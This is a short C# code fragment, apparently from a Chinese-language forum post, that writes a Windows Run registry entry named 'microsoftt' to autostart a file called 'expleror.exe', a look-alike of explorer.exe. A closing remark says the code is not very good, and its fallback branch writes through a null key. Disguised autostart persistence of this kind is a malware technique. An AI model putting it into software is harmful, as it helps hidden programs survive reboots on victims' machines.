|
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
代码不是太好. |
|